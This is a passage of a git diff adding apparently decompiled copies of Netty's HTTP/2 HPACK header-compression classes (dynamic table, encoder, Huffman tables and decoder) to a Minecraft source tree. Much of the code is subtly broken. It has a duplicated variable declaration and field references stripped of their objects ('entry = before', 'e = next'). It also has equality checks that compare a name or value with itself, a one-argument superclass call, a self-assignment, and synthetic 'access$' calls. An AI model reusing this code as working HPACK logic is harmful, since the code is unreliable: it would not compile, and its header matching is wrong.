+  {
+    headersLength += name.length() + value.length();
+    if (headersLength > maxHeaderListSize) {
+      Http2CodecUtil.headerListSizeExceeded(streamId, maxHeaderListSize);
+    }
+    headers.add(name, value);
+    return headersLength;
+  }
+  
+  private CharSequence readStringLiteral(ByteBuf in, int length, boolean huffmanEncoded) throws Http2Exception {
+    if (huffmanEncoded) {
+      return huffmanDecoder.decode(in, length);
+    }
+    byte[] buf = new byte[length];
+    in.readBytes(buf);
+    return new AsciiString(buf, false);
+  }
+  
+  private static IllegalArgumentException notEnoughDataException(ByteBuf in) {
+    return new IllegalArgumentException("decode only works with an entire header block! " + in);
+  }
+  
+  private static int decodeULE128(ByteBuf in, int result) throws Http2Exception
+  {
+    assert ((result <= 127) && (result >= 0));
+    int writerIndex = in.writerIndex();
+    int readerIndex = in.readerIndex(); for (int shift = 0; 
+        readerIndex < writerIndex; shift += 7) {
+      byte b = in.getByte(readerIndex);
+      if ((shift == 28) && (((b & 0x80) != 0) || (b > 6)))
+      {
+
+
+        in.readerIndex(readerIndex + 1);
+        break;
+      }
+      
+      if ((b & 0x80) == 0) {
+        in.readerIndex(readerIndex + 1);
+        return result + ((b & 0x7F) << shift);
+      }
+      result += ((b & 0x7F) << shift);readerIndex++;
+    }
+    
+    throw DECODE_ULE_128_DECOMPRESSION_EXCEPTION;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/internal/hpack/DynamicTable.java b/src/minecraft/io/netty/handler/codec/http2/internal/hpack/DynamicTable.java
new file mode 100644
index 0000000..c161eb9
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/internal/hpack/DynamicTable.java
@@ -0,0 +1,200 @@
+package io.netty.handler.codec.http2.internal.hpack;
+
+
+
+
+
+
+
+
+
+final class DynamicTable
+{
+  HeaderField[] headerFields;
+  
+
+
+
+
+
+
+  int head;
+  
+
+
+
+
+
+
+  int tail;
+  
+
+
+
+
+
+
+  private long size;
+  
+
+
+
+
+
+
+  private long capacity = -1L;
+  
+
+
+  DynamicTable(long initialCapacity)
+  {
+    setCapacity(initialCapacity);
+  }
+  
+
+  public int length()
+  {
+    int length;
+    int length;
+    if (head < tail) {
+      length = headerFields.length - tail + head;
+    } else {
+      length = head - tail;
+    }
+    return length;
+  }
+  
+
+
+  public long size()
+  {
+    return size;
+  }
+  
+
+
+  public long capacity()
+  {
+    return capacity;
+  }
+  
+
+
+
+  public HeaderField getEntry(int index)
+  {
+    if ((index <= 0) || (index > length())) {
+      throw new IndexOutOfBoundsException();
+    }
+    int i = head - index;
+    if (i < 0) {
+      return headerFields[(i + headerFields.length)];
+    }
+    return headerFields[i];
+  }
+  
+
+
+
+
+
+
+  public void add(HeaderField header)
+  {
+    int headerSize = header.size();
+    if (headerSize > capacity) {
+      clear();
+      return;
+    }
+    while (capacity - size < headerSize) {
+      remove();
+    }
+    headerFields[(head++)] = header;
+    size += header.size();
+    if (head == headerFields.length) {
+      head = 0;
+    }
+  }
+  
+
+
+  public HeaderField remove()
+  {
+    HeaderField removed = headerFields[tail];
+    if (removed == null) {
+      return null;
+    }
+    size -= removed.size();
+    headerFields[(tail++)] = null;
+    if (tail == headerFields.length) {
+      tail = 0;
+    }
+    return removed;
+  }
+  
+
+
+  public void clear()
+  {
+    while (tail != head) {
+      headerFields[(tail++)] = null;
+      if (tail == headerFields.length) {
+        tail = 0;
+      }
+    }
+    head = 0;
+    tail = 0;
+    size = 0L;
+  }
+  
+
+
+
+  public void setCapacity(long capacity)
+  {
+    if ((capacity < 0L) || (capacity > 4294967295L)) {
+      throw new IllegalArgumentException("capacity is invalid: " + capacity);
+    }
+    
+    if (this.capacity == capacity) {
+      return;
+    }
+    this.capacity = capacity;
+    
+    if (capacity == 0L) {
+      clear();
+    }
+    else {
+      while (size > capacity) {
+        remove();
+      }
+    }
+    
+    int maxEntries = (int)(capacity / 32L);
+    if (capacity % 32L != 0L) {
+      maxEntries++;
+    }
+    
+
+    if ((headerFields != null) && (headerFields.length == maxEntries)) {
+      return;
+    }
+    
+    HeaderField[] tmp = new HeaderField[maxEntries];
+    
+
+    int len = length();
+    int cursor = tail;
+    for (int i = 0; i < len; i++) {
+      HeaderField entry = headerFields[(cursor++)];
+      tmp[i] = entry;
+      if (cursor == headerFields.length) {
+        cursor = 0;
+      }
+    }
+    
+    tail = 0;
+    head = (tail + len);
+    headerFields = tmp;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/internal/hpack/Encoder.java b/src/minecraft/io/netty/handler/codec/http2/internal/hpack/Encoder.java
new file mode 100644
index 0000000..549aac9
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/internal/hpack/Encoder.java
@@ -0,0 +1,505 @@
+package io.netty.handler.codec.http2.internal.hpack;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.handler.codec.http2.Http2Error;
+import io.netty.handler.codec.http2.Http2Exception;
+import io.netty.handler.codec.http2.Http2Headers;
+import io.netty.handler.codec.http2.Http2HeadersEncoder.SensitivityDetector;
+import io.netty.util.AsciiString;
+import io.netty.util.CharsetUtil;
+import io.netty.util.internal.MathUtil;
+import java.util.Arrays;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Encoder
+{
+  private final HeaderEntry[] headerFields;
+  private final HeaderEntry head = new HeaderEntry(-1, AsciiString.EMPTY_STRING, AsciiString.EMPTY_STRING, Integer.MAX_VALUE, null);
+  
+  private final HuffmanEncoder huffmanEncoder = new HuffmanEncoder();
+  
+  private final byte hashMask;
+  
+  private final boolean ignoreMaxHeaderListSize;
+  private long size;
+  private long maxHeaderTableSize;
+  private long maxHeaderListSize;
+  
+  public Encoder()
+  {
+    this(false);
+  }
+  
+
+
+  public Encoder(boolean ignoreMaxHeaderListSize)
+  {
+    this(ignoreMaxHeaderListSize, 16);
+  }
+  
+
+
+  public Encoder(boolean ignoreMaxHeaderListSize, int arraySizeHint)
+  {
+    this.ignoreMaxHeaderListSize = ignoreMaxHeaderListSize;
+    maxHeaderTableSize = 4096L;
+    maxHeaderListSize = 8192L;
+    
+
+    headerFields = new HeaderEntry[MathUtil.findNextPositivePowerOfTwo(Math.max(2, Math.min(arraySizeHint, 128)))];
+    hashMask = ((byte)(headerFields.length - 1));
+    head.before = (head.after = head);
+  }
+  
+
+
+
+
+  public void encodeHeaders(ByteBuf out, Http2Headers headers, Http2HeadersEncoder.SensitivityDetector sensitivityDetector)
+    throws Http2Exception
+  {
+    if (ignoreMaxHeaderListSize) {
+      encodeHeadersIgnoreMaxHeaderListSize(out, headers, sensitivityDetector);
+    } else {
+      encodeHeadersEnforceMaxHeaderListSize(out, headers, sensitivityDetector);
+    }
+  }
+  
+  private void encodeHeadersEnforceMaxHeaderListSize(ByteBuf out, Http2Headers headers, Http2HeadersEncoder.SensitivityDetector sensitivityDetector)
+    throws Http2Exception
+  {
+    long headerSize = 0L;
+    for (Map.Entry<CharSequence, CharSequence> header : headers) {
+      CharSequence name = (CharSequence)header.getKey();
+      CharSequence value = (CharSequence)header.getValue();
+      long currHeaderSize = HeaderField.sizeOf(name, value);
+      
+
+      headerSize += currHeaderSize;
+      if (headerSize > maxHeaderListSize) {
+        throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Header list size octets (%d) exceeds maxHeaderListSize (%d)", new Object[] { Long.valueOf(headerSize), Long.valueOf(maxHeaderListSize) });
+      }
+      
+      encodeHeader(out, name, value, sensitivityDetector.isSensitive(name, value), currHeaderSize);
+    }
+  }
+  
+  private void encodeHeadersIgnoreMaxHeaderListSize(ByteBuf out, Http2Headers headers, Http2HeadersEncoder.SensitivityDetector sensitivityDetector) throws Http2Exception
+  {
+    for (Map.Entry<CharSequence, CharSequence> header : headers) {
+      CharSequence name = (CharSequence)header.getKey();
+      CharSequence value = (CharSequence)header.getValue();
+      encodeHeader(out, name, value, sensitivityDetector.isSensitive(name, value), HeaderField.sizeOf(name, value));
+    }
+  }
+  
+
+
+
+
+
+
+  private void encodeHeader(ByteBuf out, CharSequence name, CharSequence value, boolean sensitive, long headerSize)
+  {
+    if (sensitive) {
+      int nameIndex = getNameIndex(name);
+      encodeLiteral(out, name, value, HpackUtil.IndexType.NEVER, nameIndex);
+      return;
+    }
+    
+
+    if (maxHeaderTableSize == 0L) {
+      int staticTableIndex = StaticTable.getIndex(name, value);
+      if (staticTableIndex == -1) {
+        int nameIndex = StaticTable.getIndex(name);
+        encodeLiteral(out, name, value, HpackUtil.IndexType.NONE, nameIndex);
+      } else {
+        encodeInteger(out, 128, 7, staticTableIndex);
+      }
+      return;
+    }
+    
+
+    if (headerSize > maxHeaderTableSize) {
+      int nameIndex = getNameIndex(name);
+      encodeLiteral(out, name, value, HpackUtil.IndexType.NONE, nameIndex);
+      return;
+    }
+    
+    HeaderEntry headerField = getEntry(name, value);
+    if (headerField != null) {
+      int index = getIndex(index) + StaticTable.length;
+      
+      encodeInteger(out, 128, 7, index);
+    } else {
+      int staticTableIndex = StaticTable.getIndex(name, value);
+      if (staticTableIndex != -1)
+      {
+        encodeInteger(out, 128, 7, staticTableIndex);
+      } else {
+        ensureCapacity(headerSize);
+        encodeLiteral(out, name, value, HpackUtil.IndexType.INCREMENTAL, getNameIndex(name));
+        add(name, value, headerSize);
+      }
+    }
+  }
+  
+
+  public void setMaxHeaderTableSize(ByteBuf out, long maxHeaderTableSize)
+    throws Http2Exception
+  {
+    if ((maxHeaderTableSize < 0L) || (maxHeaderTableSize > 4294967295L)) {
+      throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Header Table Size must be >= %d and <= %d but was %d", new Object[] { Long.valueOf(0L), Long.valueOf(4294967295L), Long.valueOf(maxHeaderTableSize) });
+    }
+    
+    if (this.maxHeaderTableSize == maxHeaderTableSize) {
+      return;
+    }
+    this.maxHeaderTableSize = maxHeaderTableSize;
+    ensureCapacity(0L);
+    
+    encodeInteger(out, 32, 5, (int)maxHeaderTableSize);
+  }
+  
+
+
+  public long getMaxHeaderTableSize()
+  {
+    return maxHeaderTableSize;
+  }
+  
+  public void setMaxHeaderListSize(long maxHeaderListSize) throws Http2Exception {
+    if ((maxHeaderListSize < 0L) || (maxHeaderListSize > 4294967295L)) {
+      throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Header List Size must be >= %d and <= %d but was %d", new Object[] { Long.valueOf(0L), Long.valueOf(4294967295L), Long.valueOf(maxHeaderListSize) });
+    }
+    
+    this.maxHeaderListSize = maxHeaderListSize;
+  }
+  
+  public long getMaxHeaderListSize() {
+    return maxHeaderListSize;
+  }
+  
+
+
+  private static void encodeInteger(ByteBuf out, int mask, int n, int i)
+  {
+    assert ((n >= 0) && (n <= 8)) : ("N: " + n);
+    int nbits = 255 >>> 8 - n;
+    if (i < nbits) {
+      out.writeByte(mask | i);
+    } else {
+      out.writeByte(mask | nbits);
+      int length = i - nbits;
+      for (; (length & 0xFFFFFF80) != 0; length >>>= 7) {
+        out.writeByte(length & 0x7F | 0x80);
+      }
+      out.writeByte(length);
+    }
+  }
+  
+
+
+  private void encodeStringLiteral(ByteBuf out, CharSequence string)
+  {
+    int huffmanLength = huffmanEncoder.getEncodedLength(string);
+    if (huffmanLength < string.length()) {
+      encodeInteger(out, 128, 7, huffmanLength);
+      huffmanEncoder.encode(out, string);
+    } else {
+      encodeInteger(out, 0, 7, string.length());
+      if ((string instanceof AsciiString))
+      {
+        AsciiString asciiString = (AsciiString)string;
+        out.writeBytes(asciiString.array(), asciiString.arrayOffset(), asciiString.length());
+      }
+      else
+      {
+        out.writeCharSequence(string, CharsetUtil.ISO_8859_1);
+      }
+    }
+  }
+  
+
+
+
+  private void encodeLiteral(ByteBuf out, CharSequence name, CharSequence value, HpackUtil.IndexType indexType, int nameIndex)
+  {
+    boolean nameIndexValid = nameIndex != -1;
+    switch (1.$SwitchMap$io$netty$handler$codec$http2$internal$hpack$HpackUtil$IndexType[indexType.ordinal()]) {
+    case 1: 
+      encodeInteger(out, 64, 6, nameIndexValid ? nameIndex : 0);
+      break;
+    case 2: 
+      encodeInteger(out, 0, 4, nameIndexValid ? nameIndex : 0);
+      break;
+    case 3: 
+      encodeInteger(out, 16, 4, nameIndexValid ? nameIndex : 0);
+      break;
+    default: 
+      throw new Error("should not reach here");
+    }
+    if (!nameIndexValid) {
+      encodeStringLiteral(out, name);
+    }
+    encodeStringLiteral(out, value);
+  }
+  
+  private int getNameIndex(CharSequence name) {
+    int index = StaticTable.getIndex(name);
+    if (index == -1) {
+      index = getIndex(name);
+      if (index >= 0) {
+        index += StaticTable.length;
+      }
+    }
+    return index;
+  }
+  
+
+
+
+  private void ensureCapacity(long headerSize)
+  {
+    while (maxHeaderTableSize - size < headerSize) {
+      int index = length();
+      if (index == 0) {
+        break;
+      }
+      remove();
+    }
+  }
+  
+
+
+  int length()
+  {
+    return size == 0L ? 0 : head.after.index - head.before.index + 1;
+  }
+  
+
+
+  long size()
+  {
+    return size;
+  }
+  
+
+
+  HeaderField getHeaderField(int index)
+  {
+    HeaderEntry entry = head;
+    while (index-- >= 0) {
+      entry = before;
+    }
+    return entry;
+  }
+  
+
+
+
+  private HeaderEntry getEntry(CharSequence name, CharSequence value)
+  {
+    if ((length() == 0) || (name == null) || (value == null)) {
+      return null;
+    }
+    int h = AsciiString.hashCode(name);
+    int i = index(h);
+    for (HeaderEntry e = headerFields[i]; e != null; e = next)
+    {
+      if ((hash == h) && ((HpackUtil.equalsConstantTime(name, name) & HpackUtil.equalsConstantTime(value, value)) != 0)) {
+        return e;
+      }
+    }
+    return null;
+  }
+  
+
+
+
+  private int getIndex(CharSequence name)
+  {
+    if ((length() == 0) || (name == null)) {
+      return -1;
+    }
+    int h = AsciiString.hashCode(name);
+    int i = index(h);
+    for (HeaderEntry e = headerFields[i]; e != null; e = next) {
+      if ((hash == h) && (HpackUtil.equalsConstantTime(name, name) != 0)) {
+        return getIndex(index);
+      }
+    }
+    return -1;
+  }
+  
+
+
+  private int getIndex(int index)
+  {
+    return index == -1 ? -1 : index - head.before.index + 1;
+  }
+  
+
+
+
+
+
+  private void add(CharSequence name, CharSequence value, long headerSize)
+  {
+    if (headerSize > maxHeaderTableSize) {
+      clear();
+      return;
+    }
+    
+
+    while (maxHeaderTableSize - size < headerSize) {
+      remove();
+    }
+    
+    int h = AsciiString.hashCode(name);
+    int i = index(h);
+    HeaderEntry old = headerFields[i];
+    HeaderEntry e = new HeaderEntry(h, name, value, head.before.index - 1, old);
+    headerFields[i] = e;
+    e.addBefore(head);
+    size += headerSize;
+  }
+  
+
+
+  private HeaderField remove()
+  {
+    if (size == 0L) {
+      return null;
+    }
+    HeaderEntry eldest = head.after;
+    int h = hash;
+    int i = index(h);
+    HeaderEntry prev = headerFields[i];
+    HeaderEntry e = prev;
+    while (e != null) {
+      HeaderEntry next = next;
+      if (e == eldest) {
+        if (prev == eldest) {
+          headerFields[i] = next;
+        } else {
+          next = next;
+        }
+        eldest.remove();
+        size -= eldest.size();
+        return eldest;
+      }
+      prev = e;
+      e = next;
+    }
+    return null;
+  }
+  
+
+
+  private void clear()
+  {
+    Arrays.fill(headerFields, null);
+    head.before = (head.after = head);
+    size = 0L;
+  }
+  
+
+
+  private int index(int h)
+  {
+    return h & hashMask;
+  }
+  
+
+
+  private static class HeaderEntry
+    extends HeaderField
+  {
+    HeaderEntry before;
+    
+    HeaderEntry after;
+    
+    HeaderEntry next;
+    
+    int hash;
+    
+    int index;
+    
+
+    HeaderEntry(int hash, CharSequence name, CharSequence value, int index, HeaderEntry next)
+    {
+      super(value);
+      this.index = index;
+      this.hash = hash;
+      this.next = next;
+    }
+    
+
+
+    private void remove()
+    {
+      before.after = after;
+      after.before = before;
+      before = null;
+      after = null;
+      next = null;
+    }
+    
+
+
+    private void addBefore(HeaderEntry existingEntry)
+    {
+      after = existingEntry;
+      before = before;
+      before.after = this;
+      after.before = this;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/internal/hpack/HeaderField.java b/src/minecraft/io/netty/handler/codec/http2/internal/hpack/HeaderField.java
new file mode 100644
index 0000000..b21721e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/internal/hpack/HeaderField.java
@@ -0,0 +1,84 @@
+package io.netty.handler.codec.http2.internal.hpack;
+
+import io.netty.util.internal.ObjectUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class HeaderField
+{
+  static final int HEADER_ENTRY_OVERHEAD = 32;
+  final CharSequence name;
+  final CharSequence value;
+  
+  static long sizeOf(CharSequence name, CharSequence value)
+  {
+    return name.length() + value.length() + 32;
+  }
+  
+
+
+
+  HeaderField(CharSequence name, CharSequence value)
+  {
+    this.name = ((CharSequence)ObjectUtil.checkNotNull(name, "name"));
+    this.value = ((CharSequence)ObjectUtil.checkNotNull(value, "value"));
+  }
+  
+  int size() {
+    return name.length() + value.length() + 32;
+  }
+  
+
+  public int hashCode()
+  {
+    return super.hashCode();
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if (obj == this) {
+      return true;
+    }
+    if (!(obj instanceof HeaderField)) {
+      return false;
+    }
+    HeaderField other = (HeaderField)obj;
+    
+    return (HpackUtil.equalsConstantTime(name, name) & HpackUtil.equalsConstantTime(value, value)) != 0;
+  }
+  
+  public String toString()
+  {
+    return name + ": " + value;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/internal/hpack/HpackUtil.java b/src/minecraft/io/netty/handler/codec/http2/internal/hpack/HpackUtil.java
new file mode 100644
index 0000000..efe6087
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/internal/hpack/HpackUtil.java
@@ -0,0 +1,339 @@
+package io.netty.handler.codec.http2.internal.hpack;
+
+import io.netty.util.AsciiString;
+import io.netty.util.internal.ConstantTimeUtils;
+import io.netty.util.internal.PlatformDependent;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class HpackUtil
+{
+  static int equalsConstantTime(CharSequence s1, CharSequence s2)
+  {
+    if (((s1 instanceof AsciiString)) && ((s2 instanceof AsciiString))) {
+      if (s1.length() != s2.length()) {
+        return 0;
+      }
+      AsciiString s1Ascii = (AsciiString)s1;
+      AsciiString s2Ascii = (AsciiString)s2;
+      return PlatformDependent.equalsConstantTime(s1Ascii.array(), s1Ascii.arrayOffset(), s2Ascii.array(), s2Ascii.arrayOffset(), s1.length());
+    }
+    
+
+    return ConstantTimeUtils.equalsConstantTime(s1, s2);
+  }
+  
+  private HpackUtil() {}
+  
+  static enum IndexType { INCREMENTAL, 
+    NONE, 
+    NEVER;
+    
+    private IndexType() {}
+  }
+  
+  static final int[] HUFFMAN_CODES = { 8184, 8388568, 268435426, 268435427, 268435428, 268435429, 268435430, 268435431, 268435432, 16777194, 1073741820, 268435433, 268435434, 1073741821, 268435435, 268435436, 268435437, 268435438, 268435439, 268435440, 268435441, 268435442, 1073741822, 268435443, 268435444, 268435445, 268435446, 268435447, 268435448, 268435449, 268435450, 268435451, 20, 1016, 1017, 4090, 8185, 21, 248, 2042, 1018, 1019, 249, 2043, 250, 22, 23, 24, 0, 1, 2, 25, 26, 27, 28, 29, 30, 31, 92, 251, 32764, 32, 4091, 1020, 8186, 33, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 252, 115, 253, 8187, 524272, 8188, 16380, 34, 32765, 3, 35, 4, 36, 5, 37, 38, 39, 6, 116, 117, 40, 41, 42, 7, 43, 118, 44, 8, 9, 45, 119, 120, 121, 122, 123, 32766, 2044, 16381, 8189, 268435452, 1048550, 4194258, 1048551, 1048552, 4194259, 4194260, 4194261, 8388569, 4194262, 8388570, 8388571, 8388572, 8388573, 8388574, 16777195, 8388575, 16777196, 16777197, 4194263, 8388576, 16777198, 8388577, 8388578, 8388579, 8388580, 2097116, 4194264, 8388581, 4194265, 8388582, 8388583, 16777199, 4194266, 2097117, 1048553, 4194267, 4194268, 8388584, 8388585, 2097118, 8388586, 4194269, 4194270, 16777200, 2097119, 4194271, 8388587, 8388588, 2097120, 2097121, 4194272, 2097122, 8388589, 4194273, 8388590, 8388591, 1048554, 4194274, 4194275, 4194276, 8388592, 4194277, 4194278, 8388593, 67108832, 67108833, 1048555, 524273, 4194279, 8388594, 4194280, 33554412, 67108834, 67108835, 67108836, 134217694, 134217695, 67108837, 16777201, 33554413, 524274, 2097123, 67108838, 134217696, 134217697, 67108839, 134217698, 16777202, 2097124, 2097125, 67108840, 67108841, 268435453, 134217699, 134217700, 134217701, 1048556, 16777203, 1048557, 2097126, 4194281, 2097127, 2097128, 8388595, 4194282, 4194283, 33554414, 33554415, 16777204, 16777205, 67108842, 8388596, 67108843, 134217702, 67108844, 67108845, 134217703, 134217704, 134217705, 134217706, 134217707, 268435454, 134217708, 134217709, 134217710, 134217711, 134217712, 67108846, 1073741823 };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static final byte[] HUFFMAN_CODE_LENGTHS = { 13, 23, 28, 28, 28, 28, 28, 28, 28, 24, 30, 28, 28, 30, 28, 28, 28, 28, 28, 28, 28, 28, 30, 28, 28, 28, 28, 28, 28, 28, 28, 28, 6, 10, 10, 12, 13, 6, 8, 11, 10, 10, 8, 11, 8, 6, 6, 6, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 7, 8, 15, 6, 12, 10, 13, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 7, 8, 13, 19, 13, 14, 6, 15, 5, 6, 5, 6, 5, 6, 6, 6, 5, 7, 7, 6, 6, 6, 5, 6, 7, 6, 5, 5, 6, 7, 7, 7, 7, 7, 15, 11, 14, 13, 28, 20, 22, 20, 20, 22, 22, 22, 23, 22, 23, 23, 23, 23, 23, 24, 23, 24, 24, 22, 23, 24, 23, 23, 23, 23, 21, 22, 23, 22, 23, 23, 24, 22, 21, 20, 22, 22, 23, 23, 21, 23, 22, 22, 24, 21, 22, 23, 23, 21, 21, 22, 21, 23, 22, 23, 23, 20, 22, 22, 22, 23, 22, 22, 23, 26, 26, 20, 19, 22, 23, 22, 25, 26, 26, 26, 27, 27, 26, 24, 25, 19, 21, 26, 27, 27, 26, 27, 24, 21, 21, 26, 26, 28, 27, 27, 27, 20, 24, 20, 21, 22, 21, 21, 23, 22, 22, 25, 25, 24, 24, 26, 23, 26, 27, 26, 26, 27, 27, 27, 27, 27, 28, 27, 27, 27, 27, 27, 26, 30 };
+  static final int HUFFMAN_EOS = 256;
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/internal/hpack/HuffmanDecoder.java b/src/minecraft/io/netty/handler/codec/http2/internal/hpack/HuffmanDecoder.java
new file mode 100644
index 0000000..757edbf
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/internal/hpack/HuffmanDecoder.java
@@ -0,0 +1,251 @@
+package io.netty.handler.codec.http2.internal.hpack;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.handler.codec.http2.Http2Error;
+import io.netty.handler.codec.http2.Http2Exception;
+import io.netty.util.AsciiString;
+import io.netty.util.ByteProcessor;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.ThrowableUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class HuffmanDecoder
+{
+  private static final Http2Exception EOS_DECODED = (Http2Exception)ThrowableUtil.unknownStackTrace(Http2Exception.connectionError(Http2Error.COMPRESSION_ERROR, "HPACK - EOS Decoded", new Object[0]), HuffmanDecoder.class, "decode(...)");
+  
+  private static final Http2Exception INVALID_PADDING = (Http2Exception)ThrowableUtil.unknownStackTrace(Http2Exception.connectionError(Http2Error.COMPRESSION_ERROR, "HPACK - Invalid Padding", new Object[0]), HuffmanDecoder.class, "decode(...)");
+  
+
+  private static final Node ROOT = buildTree(HpackUtil.HUFFMAN_CODES, HpackUtil.HUFFMAN_CODE_LENGTHS);
+  private final DecoderProcessor processor;
+  
+  HuffmanDecoder(int initialCapacity)
+  {
+    processor = new DecoderProcessor(initialCapacity);
+  }
+  
+
+
+
+
+
+
+  public AsciiString decode(ByteBuf buf, int length)
+    throws Http2Exception
+  {
+    processor.reset();
+    buf.forEachByte(buf.readerIndex(), length, processor);
+    buf.skipBytes(length);
+    return processor.end();
+  }
+  
+
+  private static final class Node
+  {
+    private final int symbol;
+    
+    private final int bits;
+    private final Node[] children;
+    
+    Node()
+    {
+      symbol = 0;
+      bits = 8;
+      children = new Node['Ā'];
+    }
+    
+
+
+
+
+
+    Node(int symbol, int bits)
+    {
+      assert ((bits > 0) && (bits <= 8));
+      this.symbol = symbol;
+      this.bits = bits;
+      children = null;
+    }
+    
+    private boolean isTerminal() {
+      return children == null;
+    }
+  }
+  
+  private static Node buildTree(int[] codes, byte[] lengths) {
+    Node root = new Node();
+    for (int i = 0; i < codes.length; i++) {
+      insert(root, i, codes[i], lengths[i]);
+    }
+    return root;
+  }
+  
+  private static void insert(Node root, int symbol, int code, byte length)
+  {
+    Node current = root;
+    while (length > 8) {
+      if (current.isTerminal()) {
+        throw new IllegalStateException("invalid Huffman code: prefix not unique");
+      }
+      length = (byte)(length - 8);
+      int i = code >>> length & 0xFF;
+      if (children[i] == null) {
+        children[i] = new Node();
+      }
+      current = children[i];
+    }
+    
+    Node terminal = new Node(symbol, length);
+    int shift = 8 - length;
+    int start = code << shift & 0xFF;
+    int end = 1 << shift;
+    for (int i = start; i < start + end; i++) {
+      children[i] = terminal;
+    }
+  }
+  
+  private static final class DecoderProcessor implements ByteProcessor {
+    private final int initialCapacity;
+    private byte[] bytes;
+    private int index;
+    private HuffmanDecoder.Node node;
+    private int current;
+    private int currentBits;
+    private int symbolBits;
+    
+    DecoderProcessor(int initialCapacity) {
+      this.initialCapacity = ObjectUtil.checkPositive(initialCapacity, "initialCapacity");
+    }
+    
+    void reset() {
+      node = HuffmanDecoder.ROOT;
+      current = 0;
+      currentBits = 0;
+      symbolBits = 0;
+      bytes = new byte[initialCapacity];
+      index = 0;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public boolean process(byte value)
+      throws Http2Exception
+    {
+      current = (current << 8 | value & 0xFF);
+      currentBits += 8;
+      symbolBits += 8;
+      do
+      {
+        node = HuffmanDecoder.Node.access$100(node)[(current >>> currentBits - 8 & 0xFF)];
+        currentBits -= HuffmanDecoder.Node.access$300(node);
+        if (HuffmanDecoder.Node.access$000(node)) {
+          if (HuffmanDecoder.Node.access$400(node) == 256) {
+            throw HuffmanDecoder.EOS_DECODED;
+          }
+          append(HuffmanDecoder.Node.access$400(node));
+          node = HuffmanDecoder.ROOT;
+          
+
+          symbolBits = currentBits;
+        }
+      } while (currentBits >= 8);
+      return true;
+    }
+    
+
+
+    AsciiString end()
+      throws Http2Exception
+    {
+      while (currentBits > 0) {
+        node = HuffmanDecoder.Node.access$100(node)[(current << 8 - currentBits & 0xFF)];
+        if ((!HuffmanDecoder.Node.access$000(node)) || (HuffmanDecoder.Node.access$300(node) > currentBits)) break;
+        if (HuffmanDecoder.Node.access$400(node) == 256) {
+          throw HuffmanDecoder.EOS_DECODED;
+        }
+        currentBits -= HuffmanDecoder.Node.access$300(node);
+        append(HuffmanDecoder.Node.access$400(node));
+        node = HuffmanDecoder.ROOT;
+        symbolBits = currentBits;
+      }
+      
+
+
+
+
+
+
+
+      int mask = (1 << symbolBits) - 1;
+      if ((symbolBits > 7) || ((current & mask) != mask)) {
+        throw HuffmanDecoder.INVALID_PADDING;
+      }
+      
+      return new AsciiString(bytes, 0, index, false);
+    }
+    
+    private void append(int i) {
+      try {
+        bytes[index] = ((byte)i);
+      }
+      catch (IndexOutOfBoundsException ignore) {
+        byte[] newBytes = new byte[bytes.length + initialCapacity];
+        System.arraycopy(bytes, 0, newBytes, 0, bytes.length);
+        bytes = newBytes;
+        bytes[index] = ((byte)i);
+      }
+      index += 1;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/internal/hpack/HuffmanEncoder.java b/src/minecraft/io/netty/handler/codec/http2/internal/hpack/HuffmanEncoder.java
new file mode 100644
index 0000000..3fdac95
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/internal/hpack/HuffmanEncoder.java
@@ -0,0 +1,198 @@
+package io.netty.handler.codec.http2.internal.hpack;
+
